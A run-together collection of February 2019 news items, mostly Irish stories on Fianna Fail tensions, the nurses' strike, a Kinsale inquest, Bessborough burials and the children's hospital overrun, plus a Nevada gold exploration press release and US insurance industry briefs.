Mr McGuinness believes that if Irish democracy is to work properly then Fianna Fail needs to be able to "set out that there are other views in the party, up and down the country" than the official party line.

Mr McGuinness's views remain in the minority in Fianna Fail, while Mr Martin's view that the party cannot cause a general election during the Brexit crisis is the dominant opinion.

However, a number of TDs have become increasingly irritated in recent weeks by repeated goading from Sinn Fein over the confidence and supply deal.

Earlier: John McGuinness: Fine Gael should give Fianna Fail 'something extra' in return for support

By Vivienne Clarke

Update 11.40am: Fianna Fail should receive something extra, some sort of price from Fine Gael for their support of the Government through the confidence and supply agreement, claims Carlow-Kilkenny TD John McGuinness.

He told RTEs Today with Sean ORourke show that there should be greater transparency and support for bills such as the one which could give extra powers to the Comptroller and Auditor General to investigate all infrastructure projects as soon as they go over budget.

He was responding to a report that he and party colleague Barry Cowen had clashed at a private party meeting over issues such as the extension of the confidence-and-supply deal.

Mr Cowen, a TD for Offaly, criticised some colleagues for speaking in a personal capacity in recent interviews on subjects such as the extension of the confidence-and-supply deal, which underpins the Fine Gael-led minority government.

Mr McGuinness insisted he would express his views inside and outside the parliamentary party room and said he would not be bullied, intimidated [or] embarrassed.

There had been a complete shut down of democracy, he claimed and that was why he used the parliamentary party to raise such issues.

That was also the reason why he has no intention of running as an independent candidate, he added.It will take months to reschedule some of the thousands of hospital appointment cancelled because of the nurses strike, it has emerged.

With nurses back at work after suspending their industrial action, the HSE said it is trying to restore normal services but accepted that would not be possible in all areas.

Some patients due to attend clinics last week have been given dates in two months time.

The HSE said surgical patients would be contacted by their hospital if their procedure is going ahead.

Outpatient clinic appointments went ahead as planned yesterday and minor clinics were open.

Emergency departments were very busy yesterday. People had been advised to only use these services if absolutely necessary.

According to the HSEs TrolleyGAR, there were 402 patients on trolleys in emergency departments awaiting admission to a hospital bed, an 8% decreasecompared to last year.

Of those waiting, 154 had been waiting over nine hours and 48 had been waiting over 48 hours for a bed.

The Irish Nurses and Midwives Organisations trolley count found 550 patients waiting for beds yesterday  374 waiting in emergency departments and 176 in wards elsewhere in the hospital.

The worst hit were University Hospital Limerick with 60 and Cork University Hospital and Letterkenny University Hospital which had 38 each.

The president of the Irish Association for Emergency Medicine, Dr Emily OConnor, said they expect a rebound increase in emergency departments over the next few days.

The HSE said it expects that emergency departments would be extremely busy this week and has asked people to only use these services if absolutely necessary.

Patient advocate Stephen McMahon said they had to take the HSE on face value  that they are doing everything they could to restore normal service.

When you have up to 90,000 patients put out of the health system it is not easy to fit them in again, said Mr McMahon, chairman and co-founder of the Irish Patients Association.

Its not like a cancelled airline flight where people can be slotted in again over a number of days. So the knock-on effect of this strike will continue for some time.

Mr McMahon has been dealing with a number of patients who needed treatment for serious conditions.

He helped a mother get her baby prepared for a heart operation and successfully intervened in another case where a baby had a tumour on its spine.

Mr McMahon said the nurses strike action had caused huge stress among those affected.

I expect both the Minister for Health Simon Harris and the HSE to give regular updates on progress made to deal with the backlog, he said.

Mr Harris said he would be working closely with his department and the HSE to put recovery plans in place now that the threat of further strike action by nurses has been averted.

Asked about people who had been notified that their procedures or appointments were cancelled, Mr Harris said hospitals are very eager to get people back in as quickly as they possibly could.A man fell down a 45ft abseiling wall after consuming a small bottle of vodka and some cans of cider, an inquest has heard.

The body of Jason Connolly, a 45-year-old from The Rock, Kinsale, in Co Cork was found the following afternoon by staff at the Kinsale Outdoor Education Centre.

Mr Connolly, who was a separated former bar worker and general operative, told a friend the night he was last seen alive that he had been sleeping rough, though his family contradicted this at the inquest in Bandon.

In her statement to gardai, Suzanne Carroll of the outdoor centre in St Johns Hill said she was at work on June 11 last and was in the process of showing the climbing wall to representatives of Foroige when she saw a body, face up, at the bottom of the yard.

She told her manager, John Hynes who, in his own statement to gardai, said he had been at the facility the previous night, a Sunday, had locked up at 7pm and had not noticed anything untoward. When contacted by Ms Carroll, he called gardai.

In another statement to gardai, Ryan McCarthy, who said he had known Mr Connolly all his life, said he had seen him outside Centra in the town that Sunday evening and that they had bought eight cans of Druid cider.

After spending some time on the Bowling Green in the town they parted, walking to the rear of the outdoor centre, with Mr Connolly telling Mr McCarthy he had been sleeping rough. When I left, Jason was in good form, Mr McCarthy said.

Garda John Corcoran said Mr Connolly was pronounced dead on June 11 at 4.30pm and that on checking the area he found Mr Connollys possessions in an area near the top of the climbing wall.

These included an empty packet of cigarettes, four cans of cider, a lighter, his hat, an empty vodka bottle and 12.65, telling Coroner Frank OConnell that it looked like the money may have fallen out of Mr Connollys pockets.

Garda Corcoran said Mr Connolly would have climbed over a 3.5ft high fence to access the area.

He said it was a sheer fall down the abseiling area, adding: I called to all the neighbours and nobody heard anything.

CCTV footage in the town had shown him buying alcohol in Centra at 6.30pm, wearing a trilby hat, then meeting Mr McCarthy at 7.30pm before they parted at 8.22pm.

Mr Connollys mother said she had seen him that evening, probably round 7pm.

Dr Margot Bolster, assistant state pathologist, said Mr Connolly had a high concentration of alcohol in his system, with signs of severe liver disease and chronic lung disease.

She said that he died very rapidly.

The coroner said the high concentration of alcohol indicated the fall occurred on Sunday night shortly after finishing the bottle of vodka. He noted that Mr Connolly suffered multiple injuries due to a fall and recorded a verdict of accidental death.

He extended his sympathies to Mr Connollys family, who were present for the verdict. The dead mans mother, Babs, thanked the gardai for all their efforts with her son over the years, and said to the coroner that while Jason had worked in bars, he became his own best customer.The Irish Nurses & Midwives Organisation (INMO) is to call on its members to accept the Labour Court's recommendations subject to negotiations.

Members of the INMO strike committee gathered for a private meeting at 2pm this afternoon where they discussed the recommendations that saw three days of strike action postponed this week.

The proposals involve the negotiation of a new contract and clarifications to be made, which will take place over the coming three weeks.

To ensure that members have the full proposals before voting, the Executive will ballot members between March 11 and 25.

The union will also organise regional and workplace-based information sessions over the coming weeks.

The deal will mean new entrants move up the pay scale after 16 weeks to 32,171.

There is also a new, higher salary scale for staff nurses and midwives.

The new scale is also shorter meaning that staff get to a maximum salary and long-service increment faster.

The deal also includes an extension of allowances to maternity services and medical and surgical areas worth 2,229 or 3,350.

Senior staff are entitled to higher nurse and midwife pay which they will receive after 17 years, not the current 20-year limit.

An independent expert group will also examine nurses and midwives pay, particularly for promotional grades.

These proposals make important strides for safe staffing, pay parity, and achieving respect for our professions," said INMO General Secretary Phil Ni Sheaghdha

"They are not the end-point, however, and show the way for all grades in nursing and midwifery to get to fair pay levels.

The Executive and INMO management are recommending that members vote to accept the proposals, subject to the new contract, which will be negotiated over the coming weeks

There have been many untrue rumours and much inaccurate speculation online about this deal. We took the time to present the deal to hundreds of members today and were glad to note a positive reception.

We would encourage all INMO members to inform themselves of the facts from our website and attend information sessions over the coming weeks.

The INMO shared a summary of the proposals, saying: "the deal is substantially better than has been reported."

Here is the INMO summary:

Meanwhile, Siptu members have voted to accept an agreement between union representatives and the management of Rapid Action Packaging (RAP) on recognition, pay and grade structure for hourly paid employees at the companys plant in Gweedore, Co Donegal.

The agreement recognises the right of Siptu to represent employees at the plant. The agreement also contains a three year pay deal which will provide for a 6% increase in basic pay over the three years.A nuns' burial plot at the grounds of the former Bessborough Mother and Baby Home has been "examined" but no geophysical survey has yet taken place at the site.

Speaking in the Dail, children's minister Katherine Zappone said the Mother and Baby Homes Commission (MBCHOI) had carried out "initial testing" at the site which "may lead to more invasive test excavations" if necessary.

The burial plot in Bessborough contains the graves of a number of nuns as well as a plaque commemorating infants who died at the home.

It is unclear if the Commission examined or intends to examine any other section of the property as part of the inquiries. It did not respond to a request for clarification on the nature of the examination of the burial site.

Last month, the director of the MBCHOI, Ita Mangan said it has "no plans at present" to carry out a geophysical survey at the site but said that burial arrangements at Bessborough will be addressed in a report the Commission will submit to the minister in March.

"The burial arrangements at Bessborough are being examined and will be reported on in the burials report which we propose to submit to the minister in March. We have looked at the grounds but have not conducted a geophysical or similar examination of Bessborough," she said.

The Commission has recently conducted geophysical testing on the burial grounds located on the site of Sean Ross Abbey in Tipperary following information received by a member of the public.

Death registers for both Bessborough and Sean Ross Abbey were handed over to the HSE by the Order in 2011 and were later reported on by the Irish Examiner.

In the case of Bessborough, the register shows that 470 infants and 10 women died in Bessborough between 1934 and 1953. A total of 273 deaths took place in just a six-year period between 1939 and 1944. However, the Order reported 353 deaths to State inspectors in this period.

Running to more than 50 pages, it lists each childs name, date of death, former residence of the deceased, gender, age at last birthday, profession (which is marked son or daughter in most cases), cause of death, duration of illness, initials of the officer recording the death, and the date when the death was registered.

The principal cause of death in some 20% of the deaths is marasmus (severe malnutrition). It is unclear where all of the children are buried.

Last year, an Irish Examiner investigation revealed that children from the Bessborough Mother and Baby Home and the former St Anne's Adoption Society, who died as late as 1990, are buried in unmarked graves in a Cork city cemetery.

Three grave plots in St Finbarrs cemetery in Cork city were found to contain the remains of at least 21 children. Two of the three plots are completely unmarked. The third plot records just one name despite 16 children being buried in the grave.

Meanwhile, a report examining if it is possible to start taking DNA samples from survivors of the Tuam Mother and Baby Home will be completed within eight weeks.

Special Rapporteur on child protection Dr Geoffrey Shannon has been asked to examine whether it is possible to meet this request within the current legislative framework.The general secretary of the Association of Secondary Teachers Ireland (ASTI), Kieran Christie, has described Fempi legislation on industrial action by public service unions as draconian and repugnant.

I hope its dead, weve been calling for its burial for years, he told RTEs News at One when asked if he thought it would be used against nurses who recently carried out a number of days of industrial action.

"It (Fempi) should never have been used against the ASTI and should not be used against the nurses," he said. It is intolerable.

The legislation had been drawn up at a time when there was an emergency, but he pointed out that former Minister for Finance Michael Noonan had said a number of years ago that the emergency was over.

Why are we talking in 2019 about the application of emergency legislation years after the Minister said the emergency is over?

Mr Christie said the ASTI will be looking carefully at the recommendation of the Labour Court in the nurses dispute.

We will be parsing it to see if it is of any benefit to our members.

He said the jury is still out on the recommendation as they had not seen all the details and were relying on media reports.

We understand there is a reference to new entrants which we also want addressed.

The issue of recruitment and retention is of concern for schools up and down the country, he added. It is a horrendous imposition on the public sector.Medical cannabis is being used very differently, he said. Weve grown to [accept] its usage for legitimate appropriate, regulated procedures. Thats just the reality of it. Its hard to make that culture change from where we were to where we are, but thats just the reality. It should be dispensed where other medicines are dispensed.A report has put Dublin among the top 10 'liveable' cities in the world for Europeans.

Global consultants ECA International says the city offers superior living conditions for European expats due to improved infrastructure, personal safety and healthcare.One of the longest-running pubs in Cork is due to expand, bringing new life to a former bakery in the city centre.

Five years after it first started brewing up a storm by producing its own ales, stouts and lagers, Mayfield's Cotton Ball Brewery is set to have a presence in Cork city centre.

The Lynch family, which operated a bar in Mayfield since 1874, has received planning permission from Cork City Council to redevelop parts of the former Thompson House, previously a bakery, on MacCurtain Street.

The building is to be converted into a nano-brewery and restaurant, according to planning documents.

Thompson House has hosted a brewery festival in recent years and was historically a bakery and a major employer in the city. The red brick, 12-bay, five-storey former bakery was built around 1890 and is a protected structure.

Eoin Lynch, whose great-grandfather returned to open the Cotton Ball bar in Mayfield in 1874, said the family is thrilled with the decision to grant planning. He hopes it will mark the start of a new chapter for the business.

"We are very happy," he said. "We are thrilled with our operation in Mayfield and this will give us an opportunity to continue the growth of the brewery."

In 2014, the Mayfield bar moved into brewing, establishing a hi-tech micro-brewery in the basement. It produced a range of beers now available throughout Cork city

Mr Lynch said: "We are very proud of what we have achieved and we are proud of our independent nature, too. We are members of Independent Craft Brewers of Ireland (ICBI), the association of independently-operated microbreweries in Ireland."

The existing Cotton Ball bar and microbrewery in Mayfield will continue to operate, unaffected by the planned new development.

The nano-brewery development is the latest in a series of ventures which has transformed Cork's MacCurtain Street in recent years.

A number of new bars and restaurants have opened alongside long-standing establishments, with more plans underway too.

In March 2018, city planners gave the go-ahead for an eight storey, 73-room hotel on the corner of MacCurtain Street and York Street, the site of the former Windsor Inn, while the Metropole Hotel is also due to undergo a major revamp, including the development of a new boutique hotel on Harley Street and Patrick's Quay.

The Harley Street bridge, connecting Merchant's Quay to the MacCurtain Street area, is due to be completed in the coming months.

It is designed to increase pedestrian and cycle traffic in the area while city roads officials are also currently moving ahead with plans to reintroduce a two-way traffic flow on MacCurtain Street as part of a revamp of the city's traffic flow.Childrens hospital officials knew the cost of the facility was already 95m over-budget in early June 2018 and discussed the potential need for a contingency cost containment plan almost a year earlier.

The situation has been outlined in the latest tranche of documents relating to the project which also show repeated concerns about unexpected cost claims by the firms involved.

Records sent to the Dails health and public accounts committees yesterday, which have been seen by the Irish Examiner, show that in June last year, the board was told of a 95m overspend in the project.

The board repeatedly raised concerns in subsequent weeks, before deciding in October 2018 to ask Mazars to conduct a construction cost escalation report given to the department and HSE in December.

Minutes of board and finance sub-committee meetings throughout 2018 repeatedly refer to additional cost claims from firms at the centre of the project.

In a separate tranche of files also given to the health committee and PAC yesterday, it was confirmed the National Paediatric Hospital Development Board discussed a contingency cost plan in October 2017.

Discussion took place regarding the overall budget variance versus approved business case, read the minutes from an October 2017 meeting.

The committee confirmed that they will have to review this over the coming months and ascertain if there is any possibility to reduce this variance.

In particular it was noted that a backstop/contingency plan will need to be prepared including possible descoping.

Such a backstop plan was prepared but was rejected by the board two months later.

Concerns over the costs of meeting Dublin City Councils conditions for a fire certificate  and the impact on costs  was also raised.

The June 2017 minutes state that the project had been granted a fire certificate with conditions which had not been expected.

The potential cost of the changes were not yet known but was estimated to be significant, the minutes read.

There are also references in the memos to a previously unknown construction and finance sub-committee of the hospital board whose discussions will be crucial to finding out who knew what about the costs crisis.

Labour health spokesman Alan Kelly said that, despite days of meetings with those involved, he has never heard of the sub-committee.

Sinn Fein counterpart Louise OReilly said in a statement that the groups meeting minutes must also now be released.Dogs Trust Ireland have removed all photographs of dogs looking for their forever homes from its website today to highlight that a dog is #NotJustAPrettyFace.

The charity is encouraging the public not to judge a pup by his cover and consider adopting a dog based on their personality, rather than just the way they look.

As part of the valentines campaign, the charity will also be offering a matchmaking service to those looking to make a furry friend for life.

Visitors to their Rehoming Centre in Finglas can describe their ideal dogs personality and the team will do their utmost to help them find their perfect dog.

A match made in furry heaven.

Speaking about the decision, Head of Operations at Dogs Trust, Karla Dunne said: Dogs have so much more to offer than the way the look! They are amazing, loyal and loving companions and we would love people to visit our Rehoming Centre with an open mind about the dog that could be perfect for them.

We have some fantastic dogs that are regularly overlooked in favour of their smaller, fluffier friends and we feel people are really missing out on those dogs and what they could bring to their lives

As the average dog lives for 13 years, its important that you have picked the right dog for you, so dont let size, breed or appearance scupper your chances of finding him or her.

With over 164 dogs longing to find love in Dogs Trust, the charity have also come up with the top five reasons dogs make the best Valentine's Day dates:

1. Dogs dont care about your appearance, clothes, weight, shape or size; they just love you for who you are! 2. They are ALWAYS happy to see you, even if youve just nipped upstairs for two minutes. 3. Dogs are funny, intelligent, goofy and always ready for adventures. 4. Although dogs have their own unique ways of communicating, you dont have to worry about them upsetting you by saying the wrong thing! 5. Snuggles  could there be anything better in the world than your dog snuggling into you on the sofa in the evening?

Follow Dogs Trust on Facebook, Instagram or follow the conversation on Twitter using the hashtag #NotJustAPrettyFace or www.dogstrust.ie/rehomingA financial services company has secured a High Court injunction preventing EBS from terminating an agency agreement to operate three of the building society's branches until the full dispute has been resolved.

The injunction was granted by Mr Justice John Jordan today in favour of Betty Martin Financial Services Ltd (BMFS), which under an agency agreement operates EBS branches in Athlone, Longford and Lucan,

BMFS claimed the agreement, which it has operated for many years, was terminated over its refusal to engage in the alleged misselling of financial products to customers.

EBS denies the claims and had opposed the injunction application.

In his decision, Mr Justice Jordan said that while EBS's denial of the misselling claims are "robust" he was driven to the conclusion the allegations are a serious issue that will feature in the full hearing of the dispute.

These allegations, the judge said, "were not lacking in detail" and the court was not prepared to dismiss them as not deserving of a full hearing and determination.

The Judge said EBS had claimed BMFS's complaint about alleged misselling only materialised after BMFS was informed the building society was terminating the agency agreement in May 2017.

However, the Judge said he was not satisfied that the complaints came as "a bolt from the blue" to EBS.

The Judge said that no reason had been given by EBS as to why the agreement with BMFS had been terminated.

From what was put before him, the Judge said it appeared EBS had simply decided to oust BMFS from three successful branches and replace it with a new agent so the business would continue as normal.

"Move along, I am being told, there is nothing to see here," the Judge said.

The agreements, he said, do contain a clause concerning termination without a reason being given.

That, he said, did not negate the need for the court to look for some reason or explanation given the claims advanced by BMFS for the proposed termination of the agreement.

The Judge said that he could not find any reason for the proposed termination other than those advanced by BMFS.

Mr Justice Jordan said while he was not deciding the issue he was satisfied that BMFS had made out a serious issue to be tried, that damages would not be an adequate remedy, and the balance of justice favoured the granting of the injunction.

The judge, noting that both sides had worked together for some years, also suggested that the parties seek to mediate their dispute.

He said if the parties were committed to doing business in accordance with the regulatory requirements that exist then "what possible obstacle stands in the way of both sides starting on a new page, even if some compromise is required".

If the business relationship could be salvaged it might help restore the public's trust and confidence in banks and financial institutions, he added.

The Judge said, while that may be "a high minded and naive recommendation on my part", it was something he urged on both parties.

He said BMFS was founded by Betty Martin, who died in 2014 aged 58 years.

One thing was clear, the judge said, she was quite an extraordinary woman of great ability, energy and integrity.

As a woman in a male-dominated financial industry, she had broken the mould in setting up the businesses at the core of the dispute.

BMFS brought proceedings seeking an injunction aimed at preventing EBS DAC from terminating their agreement known as a Tied agreement, to operate the three branches

Another financial services entity was due to take over the operation of the EBS branches later this month.

BMFS, represented by Declan McGrath SC and Keith Farry Bl, had argued the purported termination is invalid, was done for no good reason, and will result in the collapse of BMFS's business.

The company, which is now run by Mrs Martin's children Declan and Shelia, claim that from 2010 onwards they refused to comply with directions to missell products to customers that were unprofessional, unethical and against Central Bank rules and guidelines.

This refusal resulted in EBS's decision to terminate the agency agreement, they claim.

EBS denies these claims, saying it is entitled to terminate the agreement.

It claims BMFS's complaints of alleged misselling were only made by BMFS after EBS decided in 2017 to terminate the agreement with the firm.

EBS claims the allegations were investigated and no evidence was found to support the claims.

Following the ruling, the case was adjourned for two weeks for final orders.Cork-headquartered cybersecurity firm Smarttech247 has become the first Irish company to win IBMs Beacon Award for Outstanding Security Solution in California.

Chief executive and founder Ronan Murphy appeared on CNN following the win, which was awarded at the PartnerWorld at Think conference in San Francisco following selection by a panel of expert judges consisting of IBM executives, industry analysts and industry experts.Here's your lunchtime bulletin.

GET INFORMED ...

IRELAND: Brexit has raised tensions on the island of Ireland and complicated progress towards a lasting peace, Bertie Ahern has told British MPs.

IRELAND: It is "inevitable" that some women who are now waiting up to six months for CervicalCheck results will have abnormal smears, the head of the HSE's Women and Infants Health Programme has warned.

IRELAND: Minister for Finance, Public Expenditure and Reform Paschal Donohoe has acknowledged that something went very wrong with the tendering process for the National Childrens Hospital.

Meanwhile, The head of the Construction Industry Federation, Tom Parlon, claims it is very wrong for the Taoiseach Leo Varadkar to say that contractors are at fault for the escalating cost of the National Childrens Hospital.

IRELAND: Garda Commissioner Drew Harris has said that around 3,200 gardai associated with the failure to prosecute juvenile offenders are still serving.

WORLD: Brexit Secretary Stephen Barclay has rejected suggestions that the British Government has ruled out a no-deal Brexit.

VIEW: Jimmy Woulfe recalls the unlikely friendship that sprung up between Nora Bennis and a convicted murderer in the US which saw him become an Irish-speaking, GAA-loving, Catholic.

SPORT: Manchester United could be facing disciplinary action after a bottle was thrown at Angel Di Maria at Old Trafford last night.

BUSINESS: Ireland has experienced the largest reduction in industrial production when compared to other European Union countries, new data shows.

... SOME DISTRACTION

SHOWBIZ: Louise McSharry has taken to Twitter to warn followers about a fake Facebook advertisement using her photo to promote weight loss.

LIFESTYLE: Leave the crowded restaurants behind and make Valentines night a cosy, intimate affair with Ed Powers selection of the best romantic movies available right now.

VIRAL: Dogs Trust Ireland have removed all photographs of dogs looking for their forever homes from its website today to highlight that a dog is #NotJustAPrettyFace.Vancouver, British Columbia - February 13, 2019 (Newsfile Corp.) (Investorideas.com Newswire) Contact Gold Corp. (TSXV: C) (the "Company" or "Contact Gold") is pleased to report the identification of 3 high priority Carlin-type gold targets located on the northern part of the Pony Creek gold property ("Pony Creek"), immediately south of Gold Standard Ventures' ("GSV") Railroad Project.

These new, large, high-priority drill targets generated in 2018 include the Palomino Target, the Willow Target and the DNZ Target.

"Our ongoing target generation efforts at Pony Creek in 2018 delivered more new large-scale drill targets using our successful exploration strategy. Our systematic approach validated by the recent oxide gold discovery at the West Zone produced the new Palomino, Willow and DNZ targets. The strong gold-in-soil anomalies supported by mapped structures and CSAMT anomalies in areas of widespread hydrothermal alteration that are typically associated with Carlin-style gold mineralization are located along the same structural corridor that hosts our Bowl Zone, West Zone, GSV's deposits and Newmont's mines further north," stated Matt Lennox-King, CEO of Contact Gold.

In spring 2019, Contact Gold plans to complete first pass drilling at these three new targets, as well as at the previously generated Moleen and Elliott Dome targets.

The Company completed 51 holes in 2018, totaling over 10,863m of drilling. Results are pending for 3 holes.

Palomino Target:

The Palomino Target is immediately northwest of the high-grade oxide portion of the Bowl Zone where drilling in 2018 returned a shallow oxide gold intercept of 2.51 g/t Au over 47 metres (see news release June 21, 2018).

Features:

Significant gold-in-soil anomaly with values up to 552 ppb Au and multiple samples above 50 ppb Au within an overall total footprint of 400 x 500 metres

Located northwest of the high-grade oxide gold zone at the Bowl Zone in an open direction with only three shallow historic holes in the vicinity

Also located within the larger north-south trending structural corridor, which hosts the Bowl Zone and the West Zone discovery, as well as the Jasperoid Wash and Pinion deposits owned by GSV

Willow Target:

The Willow Target is immediately south of GSV's Jasperoid Wash discovery and is a continuation of the 1.5 km gold-in-soil Moleen Target, which has not yet been drilled.

Features:

Never before drilled

Significant northwest trending gold-in-soil anomaly with values up to 79 ppb Au within a total footprint of 250 x 750 metres, and multiple mapped northwest striking faults defined by detailed mapping cutting Penn/Perm clastic carbonates

A second drill target was generated on the east part of Willow by a coincident CSAMT high-resistivity anomaly combined with a large-offset, north-south striking fault directly on trend with GSV's Jasperoid Wash discovery

DNZ Target:

Features:

Undrilled area covered by post-mineral, Tertiary basalts

Structural breaks in four east-west oriented CSAMT lines image a large-offset, north-south striking, fault that lies on strike between GSV's Dixie target and Pony Creek's North Zone

For a location map of Pony Creek and Palomino target detail - please click on the following links:

http://www.contactgold.com/_resources/news/Soil-Contours-2019.jpg

http://www.contactgold.com/_resources/news/Palomino.jpg

http://www.contactgold.com/_resources/news/Willow.jpg

Pony Creek is an early stage exploration property and does not contain any mineral resource estimates as defined by National Instrument 43-101 Standards of Disclosure for Mineral Projects ("NI 43-101"). There has been insufficient exploration to define a mineral resource estimate at Pony Creek. Additional information about Pony Creek is summarized in a technical report entitled "Technical Report on the Pony Creek Gold Project, Elko County, Nevada, USA" dated April 18, 2017, and effective March 15, 2017), prepared by Michael M. Gustin, C.P.G. of Mine Development Associates of Reno, Nevada (the "Technical Report"), which can be viewed under Contact Gold's issuer profile on SEDAR at www.sedar.com

The scientific and technical information contained in this news release has been reviewed and approved by Vance Spalding, CPG, VP Exploration, Contact Gold, who is a "qualified person" within the meaning of NI 43-101.

Assays for gold are completed using Au-AA23 fire assay method. Multi-element geochemical assays are completed on composites using the MEMS 61 method. All assays are completed at ALS Chemex; an ISO 17025:2005 accredited lab.

About Contact Gold Corp.

Contact Gold is an exploration company focused on producing district scale gold discoveries in Nevada. Contact Gold's extensive land holdings are on the prolific Carlin, Independence and Northern Nevada Rift gold trends which host numerous gold deposits and mines. Contact Gold's land position comprises approximately 212 km2 of target rich mineral tenure hosting numerous known gold occurrences, ranging from early- to advanced-exploration and resource definition stage.

Additional information about the Company is available at www.contactgold.com.

For more information, please contact: +1 (604) 449-3361

John Glanville - Director Investor Relations

Chris Pennimpede - Corporate Development

E-mail: info@ContactGold.com

Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy of this release. No stock exchange, securities commission or other regulatory authority has approved or disapproved the information contained herein.

Cautionary Note Regarding Forward-Looking Information

This news release contains "forward-looking information" and "forward-looking statements" (collectively, "forward-looking statements") within the meaning of the applicable Canadian securities legislation. All statements, other than statements of historical fact, are forward-looking statements and are based on expectations, estimates and projections as at the date of this news release. Any statement that involves discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions, future events or performance (often but not always using phrases such as "expects", or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans", "budget", "scheduled", "forecasts", "estimates", "believes" or "intends" or variations of such words and phrases or stating that certain actions, events or results "may" or "could", "would", "might" or "will" be taken to occur or be achieved) are not statements of historical fact and may be forward-looking statements. In this news release, forward-looking statements relate, among other things, to the anticipated exploration activities of the Company on the Pony Creek property.

These forward-looking statements are based on reasonable assumptions and estimates of management of the Company at the time such statements were made. Actual future results may differ materially as forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to materially differ from any future results, performance or achievements expressed or implied by such forward-looking statements. Such factors, among other things, include; business integration risks; fluctuations in general macroeconomic conditions; fluctuations in securities markets; fluctuations in spot and forward prices of gold, silver, base metals or certain other commodities; fluctuations in currency markets (such as the Canadian dollar to United States dollar exchange rate); change in national and local government, legislation, taxation, controls, regulations and political or economic developments; risks and hazards associated with the business of mineral exploration, development and mining (including environmental hazards, industrial accidents, unusual or unexpected formations pressures, cave-ins and flooding); inability to obtain adequate insurance to cover risks and hazards; the presence of laws and regulations that may impose restrictions on mining; employee relations; relationships with and claims by local communities and indigenous populations; availability of increasing costs associated with mining inputs and labour; the speculative nature of mineral exploration and development (including the risks of obtaining necessary licenses, permits and approvals from government authorities); and title to properties. Although the forward-looking statements contained in this news release are based upon what management of the Company believes, or believed at the time, to be reasonable assumptions, the Company cannot assure shareholders that actual results will be consistent with such forward-looking statements, as there may be other factors that cause results not to be as anticipated, estimated or intended. Readers should not place undue reliance on the forward-looking statements and information contained in this news release. The Company assumes no obligation to update the forward-looking statements of beliefs, opinions, projections, or other factors, should they change, except as required by law.

More Info:

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Global investors must adhere to regulations of each country. Please read Investorideas.com privacy policy: https://www.investorideas.com/About/Private_Policy.aspGlobal insurance broker Lockton Companies has opened an office in the greater New Orleans area, headed by Tim Woodard, JD.

Danelle Heathman has been appointed as a senior vice president and Cheryl Cabrera will serve as a senior account manager.

Heathman and Cabrera joined Lockton from a New Orleans broker where Cabrera was an assistant vice president and Heathman served as a senior vice president and the marine practice leader.

Woodard has relocated from Locktons Houston office. He holds business and legal degrees from LSU and served as a member of a New Orleans law firm where he practiced marine and insurance law.

Although the office will service clients in a diverse range of industries, Woodard, Heathman and Cabrera have over 73 years of collective experience in the marine and energy industries. According to the Grow Louisiana Coalition, the energy industry supports more than half a billion dollars in annual wages in the greater New Orleans area alone.

The office will also work closely with Locktons global marine and energy practice. The practice includes over 100 industry specialists in Texas and 60 in London and PL Ferrari, the worlds largest P&I specialty broker.

Topics Agencies LocktonA coalition of state lawmakers and health organizations gathered in Annapolis Wednesday to rally support for a bill that would require Maryland residents to have health insurance or face a fine  money that could then be used to help them and others afford coverage on the states exchange.Metro Manila (CNN Philippines, February 13)  Daraga, Albay Mayor Carlwyn Baldo, tagged as the mastermind in the killing of AKO BICOL party-list Rep. Rodel Batocabe, has been released from jail after posting a 3-million bail for illegal possession of firearms.

After being released from his detention cell in the police headquarters in Legazpi City this afternoon, Baldo is now eyeing to return to work as Daraga mayor. Daraga Vice Mayor Victor Perete is currently acting as the town's chief executive, upon orders of the Commission on Elections.

Baldo's lawyer Lovensky Fernandez told CNN Philippines that there is no case filed against his client which would prohibit him from returning to work as the town's mayor.

The town mayor was happy and calm when he emerged from the police headquarters with his family and supporters, but did not speak to the media. Fernandez said Baldo will first rest in his home.

Fernandez said they have asked the Camarines Sur provincial prosecutor for 20 more days to submit a counter affidavit on the murder complaints filed against the Baldo in connection with the fatal shooting of Batocabe and his police security detail.

In a statement, the Philippine National Police (PNP) said it "bows to the majesty of the law" and accepts the court's decision to allow Baldo to post bail.

"We shall monitor his movements from time to time and account for his presence during court hearings," PNP spokesperson SSupt. Bernard Banac said.

Six other suspects in the killing of Batocabe are under police custody. All of them point to the Daraga mayor as the brains behind the assassination of the congressmen, who was running for mayor against Baldo and Perete.

Baldo has repeatedly insisted on his innocence.

Albay-based journalist Rosas Olarte and CNN Philippines Correspondent Gerg Cahiles contributed to this report.Dallas-based property/casualty program and specialty brokerage firm, U.S. Risk Insurance Group (U.S. Risk), announced it has agreed to be acquired by USI Insurance Services (USI).

The transaction is expected to close in the second quarter of 2019, subject to customary conditions and regulatory requirements.

U.S. Risk will maintain its Dallas headquarters and continue to operate independently under the companys various existing brands, U.S. Risk, Oxford, MGB, James Hampden International, Antarah and UNIS.

U.S. Risk Chief Executive Officer Randall G. Goss and his current leadership team will remain and continue to lead these businesses.

With the support of USI, U.S. Risk will continue to accelerate the path we have set for ourselves as a leading program manager and specialty brokerage firm both domestically and internationally. USI maintains an established track record of operating independent successful program and specialty brokerage businesses. We remain committed to the same quality of service and the growth and profitability of our carrier partners and retail agents, Goss said in a statement released by the company.

Sandler ONeill + Partners, L.P. served as financial advisor, and Ropes & Gray LLP served as legal counsel to U.S. Risk in this transaction. Simpson Thacher & Bartlett LLP served as legal counsel to USI.

Headquartered in Valhalla, New York, USI Insurance Services delivers property and casualty, employee benefits, personal risk and retirement products and services to large risk management clients, middle market companies, smaller firms and individuals.

Source: U.S. Risk Insurance Group

Topics Mergers USAGiant global insurer Chubb is on a mission to transform itself into a digital enterprise.

The company is making substantial investments in digital technologies including cloud, mobile, APIs, security, chatbots, analytics and data. The effort includes using digital capabilities to simplify products, analytics to improve customer experience, artificial intelligence to reduce underwriting and claims questions, and connections to the Internet of Things, such as water leak detectors to prevent and predict losses.

According to a December 2018 investor presentation, Chubb projects to grow sales over its digital channels by $500 million to reach $3.3 billion gross premiums written in 2019. That figure refers to digitally underwritten business from traditional distribution partners such as brokers and agents in all markets globally.

Chubb does not disclose sales targets for any business, including U.S. small business, and does not report revenue for U.S. small business. But Chubbs digital transformation is clearly evident in its small business operations.

Chubbs small business digital distribution strategy includes working with digital brokers like CoverHound, Bunker and Insureon to capture small businesses wanting to buy online.

